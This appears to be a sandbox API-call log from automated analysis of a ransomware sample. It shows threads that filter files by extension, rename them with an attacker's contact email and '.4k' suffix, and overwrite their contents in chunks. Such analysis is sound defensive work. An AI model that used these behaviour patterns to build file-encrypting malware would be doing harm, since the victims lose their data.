	[0104.965] lstrlenW (lpString=".bz2") returned 4
	[0104.965] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0104.965] lstrlenW (lpString=".7z") returned 3
	[0104.965] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0104.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.965] lstrlenW (lpString=".dbf") returned 4
	[0104.965] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0104.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.966] lstrlenW (lpString=".1cd") returned 4
	[0104.966] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0104.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0104.966] lstrlenW (lpString=".jpg") returned 4
	[0104.966] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0104.966] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0104.966] lstrlenW (lpString="osetup.dll") returned 10
	[0104.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0104.966] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=7378792) returned 1
	[0104.966] CloseHandle (hObject=0x200) returned 1
	[0104.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020
	[0104.966] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0104.966] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0104.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0104.967] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0x0) returned 1
	[0104.967] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0104.967] ReadFile (in: hFile=0x200, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0105.114] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0105.114] ReadFile (in: hFile=0x200, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0106.295] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x311fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.295] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x311fc2c | out: lpNewFilePointer=0x0) returned 1
	[0106.295] ReadFile (in: hFile=0x200, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x311fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x311fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0106.764] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec8 | out: lpNewFilePointer=0x0) returned 1
	[0106.764] WriteFile (hFile=0x200, lpBuffer=0x3a50020, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x311fcb0, lpOverlapped=0x0) 

Thread:
	id = 17
	os_tid = 0xaa0

	[0088.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3621048
	[0088.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3631050
	[0088.050] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0308
	[0088.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f30a8
	[0088.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0320
	[0088.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3b60020
	[0088.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f03c8
	[0088.051] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f03c8, Size=0x20) returned 0x35d0718
	[0088.051] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f03c8
	[0088.051] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f03c8, Size=0x20) returned 0x35d06f0
	[0088.051] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0088.051] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0088.052] Wow64DisableWow64FsRedirection (in: OldValue=0x336ff58 | out: OldValue=0x336ff58*=0x0) returned 1
	[0088.052] lstrlenW (lpString="kernel32.dll") returned 12
	[0088.052] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d0718 | out: hHeap=0x4a0000) returned 1
	[0088.052] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0088.052] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d06f0 | out: hHeap=0x4a0000) returned 1
	[0088.052] Sleep (dwMilliseconds=0x64) 
	[0088.216] lstrcmpiW (lpString1=".LOG2", lpString2=".4k") returned 1
	[0088.216] lstrlenW (lpString="BCD.LOG2") returned 8
	[0088.216] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.482] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=0) returned 1
	[0088.482] CloseHandle (hObject=0x16c) returned 1
	[0088.482] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.482] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.482] lstrlenW (lpString=".doc") returned 4
	[0088.482] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0088.482] lstrlenW (lpString=".docx") returned 5
	[0088.482] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0088.482] lstrlenW (lpString=".pdf") returned 4
	[0088.482] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0088.482] lstrlenW (lpString=".xls") returned 4
	[0088.482] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0088.483] lstrlenW (lpString=".xlsx") returned 5
	[0088.483] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0088.483] lstrlenW (lpString=".ppt") returned 4
	[0088.483] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0088.483] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.483] lstrlenW (lpString=".zip") returned 4
	[0088.483] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0088.483] lstrlenW (lpString=".rar") returned 4
	[0088.483] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0088.483] lstrlenW (lpString=".bz2") returned 4
	[0088.483] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0088.483] lstrlenW (lpString=".7z") returned 3
	[0088.483] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0088.483] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.483] lstrlenW (lpString=".dbf") returned 4
	[0088.483] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0088.483] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.483] lstrlenW (lpString=".1cd") returned 4
	[0088.483] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0088.483] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.484] lstrlenW (lpString=".jpg") returned 4
	[0088.484] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.484] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.484] lstrlenW (lpString=".doc") returned 4
	[0088.484] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString=".docx") returned 5
	[0088.484] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0088.484] lstrlenW (lpString=".pdf") returned 4
	[0088.484] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString=".xls") returned 4
	[0088.484] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString=".xlsx") returned 5
	[0088.484] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0088.484] lstrlenW (lpString=".ppt") returned 4
	[0088.484] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.484] lstrlenW (lpString=".zip") returned 4
	[0088.484] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString=".rar") returned 4
	[0088.484] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString=".bz2") returned 4
	[0088.484] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString=".7z") returned 3
	[0088.484] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0088.484] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.484] lstrlenW (lpString=".dbf") returned 4
	[0088.484] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0088.484] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.485] lstrlenW (lpString=".1cd") returned 4
	[0088.485] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0088.485] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0088.485] lstrlenW (lpString=".jpg") returned 4
	[0088.485] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0088.485] Sleep (dwMilliseconds=0x64) 
	[0088.601] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0088.601] lstrlenW (lpString="ExcelLR.cab") returned 11
	[0088.601] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0088.602] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=16972987) returned 1
	[0088.602] CloseHandle (hObject=0x17c) returned 1
	[0088.602] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020
	[0088.602] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0088.602] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0088.602] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0088.603] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0088.603] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0088.603] ReadFile (in: hFile=0x17c, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0088.648] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0088.648] ReadFile (in: hFile=0x17c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0088.861] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.861] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0088.861] ReadFile (in: hFile=0x17c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0089.459] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.459] WriteFile (in: hFile=0x17c, lpBuffer=0x3b60020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x336fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b60020*, lpNumberOfBytesWritten=0x336fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0089.500] SetEndOfFile (hFile=0x17c) returned 1
	[0089.500] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3ec06d8
	[0089.571] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0089.571] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec06d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec06d8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0089.572] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0089.572] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec06d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec06d8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0089.573] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x336fc7c | out: lpNewFilePointer=0x0) returned 1
	[0089.573] WriteFile (in: hFile=0x17c, lpBuffer=0x3ec06d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x336fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec06d8*, lpNumberOfBytesWritten=0x336fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0089.574] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ec06d8 | out: hHeap=0x4a0000) returned 1
	[0089.574] CloseHandle (hObject=0x17c) returned 1
	[0091.785] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0091.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.785] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.785] lstrlenW (lpString=".doc") returned 4
	[0091.785] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0091.785] lstrlenW (lpString=".docx") returned 5
	[0091.785] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0091.785] lstrlenW (lpString=".pdf") returned 4
	[0091.785] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0091.785] lstrlenW (lpString=".xls") returned 4
	[0091.785] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0091.786] lstrlenW (lpString=".xlsx") returned 5
	[0091.786] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0091.786] lstrlenW (lpString=".ppt") returned 4
	[0091.786] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0091.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.786] lstrlenW (lpString=".zip") returned 4
	[0091.786] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0091.786] lstrlenW (lpString=".rar") returned 4
	[0091.786] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0091.786] lstrlenW (lpString=".bz2") returned 4
	[0091.786] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0091.786] lstrlenW (lpString=".7z") returned 3
	[0091.786] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0091.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.786] lstrlenW (lpString=".dbf") returned 4
	[0091.786] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0091.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.786] lstrlenW (lpString=".1cd") returned 4
	[0091.786] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0091.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.786] lstrlenW (lpString=".jpg") returned 4
	[0091.786] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0091.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.786] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.786] lstrlenW (lpString=".doc") returned 4
	[0091.786] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0091.786] lstrlenW (lpString=".docx") returned 5
	[0091.787] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0091.787] lstrlenW (lpString=".pdf") returned 4
	[0091.787] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0091.787] lstrlenW (lpString=".xls") returned 4
	[0091.787] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0091.787] lstrlenW (lpString=".xlsx") returned 5
	[0091.787] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0091.787] lstrlenW (lpString=".ppt") returned 4
	[0091.787] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0091.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.787] lstrlenW (lpString=".zip") returned 4
	[0091.787] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0091.787] lstrlenW (lpString=".rar") returned 4
	[0091.787] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0091.787] lstrlenW (lpString=".bz2") returned 4
	[0091.787] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0091.787] lstrlenW (lpString=".7z") returned 3
	[0091.787] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0091.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.787] lstrlenW (lpString=".dbf") returned 4
	[0091.787] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0091.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.787] lstrlenW (lpString=".1cd") returned 4
	[0091.787] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0091.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0091.787] lstrlenW (lpString=".jpg") returned 4
	[0091.787] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0091.788] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0091.788] lstrlenW (lpString="OutlkLR.cab") returned 11
	[0091.788] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0091.788] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=14819276) returned 1
	[0091.788] CloseHandle (hObject=0x17c) returned 1
	[0091.789] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020
	[0091.789] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0091.790] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0091.790] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0091.790] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0x0) returned 1
	[0091.790] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0091.790] ReadFile (in: hFile=0x17c, lpBuffer=0x3b60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b60058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0091.997] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0091.997] ReadFile (in: hFile=0x17c, lpBuffer=0x3ba0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ba0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0092.322] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x336fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.322] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x336fc2c | out: lpNewFilePointer=0x0) returned 1
	[0092.323] ReadFile (in: hFile=0x17c, lpBuffer=0x3be0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x336fc38, lpOverlapped=0x0 | out: lpBuffer=0x3be0058*, lpNumberOfBytesRead=0x336fc38*=0x40000, lpOverlapped=0x0) returned 1
